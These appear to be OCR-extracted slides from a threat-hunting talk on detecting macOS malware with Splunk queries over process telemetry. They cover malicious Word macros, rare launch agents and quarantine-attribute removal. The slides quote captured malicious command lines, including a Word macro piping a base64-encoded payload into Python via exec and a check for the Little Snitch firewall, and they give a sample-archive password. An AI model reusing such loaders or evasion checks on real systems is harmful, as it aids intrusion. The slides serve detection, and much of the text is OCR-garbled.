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Why hunt?

Badness hides in plain sight.
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Why this presentation?

@® www.threathunting.net/goal-index

1Yelp § Latest Posts - Old M... 3 President-Elect Tru... % quicksand.io - phist

Malware

Finding Known-Bad in Antivirus Logs

Beacon Detection via Intra-Request Time Deltas
Comparing Host Images/Memory Dumps to Known-Good Bas
RAM Dumping

HTTP User-Agent Analysis

Shimcache/Amcache Windows only

Autoruns Analysis Windows only

Windows Driver Analysis Windows only
Windows Prefetch Cache Analysis Windows only
Windows Service Analysis Windows only

Finding the Unknown with HTTP URIs

Finding Malware Process Impersonation via String Distance @ PwnieFan



This Is just the beginning

Building Mac
threat hunting
resources up
to the level of
Windows will
take time.

-

Base camp
(5,270m/17 290ft)
R
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Shoestring experiment

Process monitoring installed

Tethered cellphone moder
only connection g

Time machine to
reset between
experiments

Surgically-altered Mac mini with a generic
install (wifi card removed)
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Malware samples

Downl oad from VT (these require mor
Word Macro for Mac: https://objective -see.com/blog/blog_0x17.html
https://objective -see.com/malware.html - a good collection

Mac Malware

Warning: this page contains malware & adware!

By downloading the samples, you waive all rights to claim punitive, incidental and
consequential damages resulting from mishandling or self-infection ;)

password is: infect3d

¥ download all samples & download json
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https://objective-see.com/blog/blog_0x17.html
https://objective-see.com/malware.html

Malware samples ->behavior patterns

Give malware a playground, and
observe.

Look for general patterns that
Indicate badness.

Thank you... for your cooperation.
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Let As go hunting

What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?

Full index of all queries at end.
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Word Macros - yes, for Macintosh

Not powershell ... but Word is still launching
unexpected processes.
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Parent/Child relationships

_time ©

2018-01-01 15:45:48.065
2018-01-01 15:45:48.689
2018-01-01 15:49:13.522
2018-01-01 15:49:13.525
2018-01-01 15:49:15.282
2018-01-01 15:49:27.577
2018-01-01 15:49:27.577
2018-01-01 15:49:27.577

2018-01-01 15:49:27.724
2018-01-01 15:49:27.733
2018-01-01 15:49:27.735
2018-01-01 15:49:27.737
2018-01-01 15:53:02.255

ParentProcessld_decimal ‘: ProcessGroupld_decimal / TargetProcessld_decimal {
132571283903920234 132571283903920234 132571786848156048
132571283903920234 132571786888001937 132571786888001937
132571283903920234 132571283903920234 132572217712228767
132571283903920234 [132572217726908832| | 132572217726908832 |
132571794330794394 132571794330794394 132572221373856163

|132572247130028463 | | 132572217726908832 | 132572247141562802
[132572247130028463 | | 132572217726908832 | | 132572247156242867 |
|132572217726908832 | | 132572217726908832 | | 132572247130028463 |
|132572247156242867 | | 132572217726908832| | 132572247507515829 |
[132572247507515829 | | 132572217726908832 | 132572247518001594
[132572247507515820 | [132572217726908832 | 132572247516953017
|132572247507515829 | | 132572217726908832 | 132572247519050171
132572653164608379 132572653197114243 132572653197114243

CommandLine =

xpcproxy com.apple.xpc.launchd.oneshot.0x10000006.Microsoft Word

/Applications/Microsoft Office 2011/Microsoft Word.app/Contents/Mac0S/Microsoft Word -psn_(
xpcproxy com.microsoft.Word.1360

/Applications/Microsoft Office 2011/Microsoft Word.app/Contents/Mac0OS/Microsoft Word

sh -c /usr/sbin/kextstat

python

python

sh -c echo "import sys,base64;exec(base64.b64decode(\"
ZFhGcHJ2¢c2dNQINJeVBmPSdhdGZNelpPcVZMYmNgqJwppbXBvenQge3NsOwppZiBoYXNhdHRyt

\):" | python &

/bin/sh -c ps -ef | grep Little\ Snitch | grep -v grep

grep -v grep

grep Little Snitch

ps -ef

/Applications/Microsoft Office 2011/Microsoft Word.app/Contents/MacOS/Microsoft Word
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Detecting Word Macros

What processes are typically launched by Word? And how
many?

event_platform =Macevent_simpleName*ProcessRollup2

[search event_simpleName*ProcessRollup2 event_ platform =Mac
CommandLirmé/Applications/*Microsoft Word*"

| fields ProcessGroupld_decimal ]
| stats values( CommandLip@as Commands, count by
aid,ProcessGroupld_decimal
| search Commands="/Applications/*Microsoft Word*"
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Normal

134401226082739715 /Applications/Microsoft Office 2011/Microsoft Word.app/Contents/MacOS/Microsoft Word -psn_0_.114716 1
134399666378497255 /Applications/Microsoft Office 2011/Microsoft Word. app/Contents/Mac0OS/Microsoft Word -psn_0_69649 2
134400741634542430 /Applications/Microsoft Office 2011/Microsoft Word.app/Contents/MacOS/Microsoft Word -psn_0_40970 1
134395117347485261 /Applications/Microsoft Office 2011/Microsoft Word.app/Contents/Mac0S/Microsoft Word 1
134401003338317862 /Applications/Microsoft Office 2011/Microsoft Word. app/Contents/MacOS/Microsoft Word -psn_0_69649 1
133885332100853067 /Applications/Microsoft Word.app/Contents/SharedSupport/Office365ServiceV2.app/Contents/Mac0S/Office365ServiceV2 1
134396436292068266 /Applications/Microsoft Word.app/Contents/Mac0S/Microsoft Word -psn_0_45067 1
133603859449293211 /Applications/Microsoft Office 2011/Microsoft Word.app/Contents/MacOS/Microsoft Word -psn_0_2163216 2

FontCacheTool /Users/williama/Library/Application Support/Microsoft/Office/Preferences/Office 2011/0ffice Font Cache 18 /Applications/Microsoft Office

2011/0ffice

IV

ProcessGroupld_decimal © | Commands &

132571 7TBGE88001937  /Applications/Microsoft Office 201 1/Microsoft Word.app/Contents/Mac0S/Microsoft Word -psn_0_221238
FontCacheTool fUsers/blackwidow,/Library/Application Support/Microsoft/Office/Preferences/Office 2011/0ffice |

132572217726908832  /Applications/Microsoft Office 201 1/Microsoft Word. app/Contents/Mac0S/Microsoft Word
Jhin/sh -c ps -ef | grep Little\, Snitch | grep -v grep
grep -v grep
grep Little Snitch
ps -ef

Abnormal e
sh -¢ echo “import sysbasetd;exec(basetd béddecode(y”

ZFhGoHJ2c2dWOINJeVBEmPSdhdGZNelpPoVZMYmMNgJwppbXBvenQge3NsOwppZiBoYXMNhd HRyKHMNzbCwg 1 9jcr
V9" | python &

132572653197114243  /Applications/Microsoft Office 201 1/Microsoft Word.app/Contents/Mac0S/Microsoft Word
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Investigating a Word macro

For a speci fic machine, find
not -Word:

aild=<aid> event_simpleName*ProcessRollup2 NOT
CommandLirmé/Applications/*Microsoft Word*" [search aid=<aid>
CommandLirmé/Applications/*Microsoft Word*"

event_simpleName*ProcessRollup2
| rename TargetProcessld _decimal as ProcessGroupld decimal

| return 10000 ProcessGroupld decimal

\ By default, Splunk limits the number of items returned

from a subsearch. Depending on timeframe/host, you
may get false negatives. @PwnieFan



Investigating a Word Macro

Events Patterns Statistics (8) Visualization

100 Per Page v  “Format v Preview v

CommandLine

/bin/sh -¢ ps -ef | grep Little\ Snitch | grep -v grep
ps -ef

grep Little Snitch

python

python

sh -c echo "import sys,base64;exec(base64.b64decode(\"

ZFhGcHJ2c2dNQINJeVBmPSdhdGZNelpPcVZMYmNgJwppbXBvenQge3NsOwppZiBoYXNhdHRyKHNzbCwgJ19jecmVhdGVdW52ZXJpZmllZF9jb250ZXh0Jyk6c3NsLI9jcmVhdGVIZGYmY)
\"));" | python &

grep -v grep

FontCacheTool /Users/blackwidow/Library/Application Support/Microsoft/Office/Preferences/Office 2011/0ffice Font Cache 18 /Applications/Microsoft Office 2011/0ffice
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What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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Rare launch agents:
list and count launch agents

event_platform =Macevent_simpleName*ProcessRollup2
CommandLimr&LaunchAgents

| dedup aid,CommandLinel] makemvCommandLindelim=
| eval CommandLimenvfilter (match(CommandLiné.* LaunchAgents*"))

| eval CommandLimeeplace( CommandLingUsers/[a -z]+/", "I") | eval
CommandLireeplace( CommandLirgie\ "$", ")

| dedup aid,CommandLine

| stats count by CommandLine

| sort count

Bonus hint: if you want to run regularly use summary indices!
@PwnieFan



List and count launch agents

CommandLine

/Library/LaunchAgents

count

/Library/LaunchAgents/com.mackeeper.AdwareAnalyzer.plist

/Library/LaunchAgents/com.mackeeper.MacKeeper.Helper.plist

Installed by xamloader

/Library/LaunchAgents

/Library/LaunchAgents
/Library/LaunchAgents
/Library/LaunchAgents
/Library/LaunchAgents
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What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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Files downloaded from the
Internet by most wel
behaved programs (i.e. all
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with a quarantine attribute
initially.
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Removing the quarantine attribute
(OceanlLotus.A)
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